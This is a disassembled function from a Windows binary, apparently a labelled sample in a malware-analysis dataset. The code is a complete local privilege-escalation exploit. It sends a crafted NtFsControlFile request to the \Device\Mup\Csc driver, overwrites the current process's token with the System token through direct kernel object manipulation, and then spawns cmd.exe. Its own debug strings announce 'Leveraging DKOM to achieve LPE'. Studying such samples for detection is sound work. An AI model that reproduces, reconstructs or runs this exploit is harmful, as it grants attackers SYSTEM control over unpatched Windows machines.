Function at 0x140011177
Capabilities:
Execute command

Disassembly:
jmp 0x140011820
push rbp
push rdi
sub rsp, 0x318
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x2a8], rax
lea rcx, [0x1400240a4]
call fcn.1400113a2
nop
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rbp + 0xd4], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x198], 0
mov dword [rbp + 0x1b4], 0
mov byte [rbp + 0x1d4], 1
lea rdx, str.DeviceMup_Csc..
lea rcx, [rbp + 8]
call fcn.14001137f
nop
mov dword [rbp + 0x38], 0x30
mov qword [rbp + 0x40], 0
mov dword [rbp + 0x50], 0
lea rax, [rbp + 8]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x80
mov dword [rsp + 0x38], 3
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x38]
mov edx, 0x100000
lea rcx, [rbp + 0xb8]
call fcn.140011186
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
jge 0x1400119b0
mov edx, dword [rbp + 0xd4]
lea rcx, str.____NtCreateFile_failed_with_status___x_n
call fcn.1400111b8
nop
mov eax, dword [rbp + 0xd4]
jmp 0x140011bd5
mov r8d, 4
mov edx, 4
lea rcx, [rbp + 0xf8]
call fcn.1400110e1
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
test rax, rax
je 0x1400119e3
mov eax, dword [rbp + 0x1b4]
jmp 0x140011bd5
mov rdx, qword [rbp + 0xf8]
lea rcx, str.___System_EPROCESS_address___llx_n
call fcn.1400111b8
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8d, eax
mov edx, 1
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
je 0x140011a6c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [rbp + 0x198]
mov edx, eax
lea rcx, [rbp + 0x138]
call fcn.1400110e1
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
test rax, rax
je 0x140011a58
mov eax, dword [rbp + 0x1b4]
jmp 0x140011bd5
mov rdx, qword [rbp + 0x138]
lea rcx, str.___Current_THREAD_address___llx_n
call fcn.1400111b8
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
je 0x140011ae1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [rbp + 0x178]
mov edx, eax
lea rcx, [rbp + 0x118]
call fcn.1400110e1
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
test rax, rax
je 0x140011acd
mov eax, dword [rbp + 0x1b4]
jmp 0x140011bd5
mov rdx, qword [rbp + 0x118]
lea rcx, str.___Current_EPROCESS_address___llx_n
call fcn.1400111b8
nop
mov rax, qword [rbp + 0x138]
add rax, 0x21a
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1401a3
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call fcn.14001110e
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
jge 0x140011b5e
mov edx, dword [rbp + 0xd4]
lea rcx, str.____NtFsControlFile_failed_with_status___x_n
call fcn.1400111b8
nop
mov eax, dword [rbp + 0xd4]
jmp 0x140011bd5
lea rcx, str.____Leveraging_DKOM_to_achieve_LPE_n
call fcn.1400111b8
nop
lea rcx, str.____Calling_Write64_wrapper_to_overwrite_current_EPROCESS__Token_n
call fcn.1400111b8
nop
mov rax, qword [rbp + 0xf8]
add rax, 0x4b8
mov rcx, qword [rbp + 0x118]
add rcx, 0x4b8
mov r8d, 8
mov rdx, rax
call fcn.1400112fd
nop
mov rax, qword [rbp + 0x138]
add rax, 0x232
mov r8d, 1
lea rdx, [rbp + 0x1d4]
mov rcx, rax
call fcn.1400112fd
nop
lea rcx, str.cmd.exe
call qword [sym.imp.ucrtbased.dll_system]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001afa0]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x2a8]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret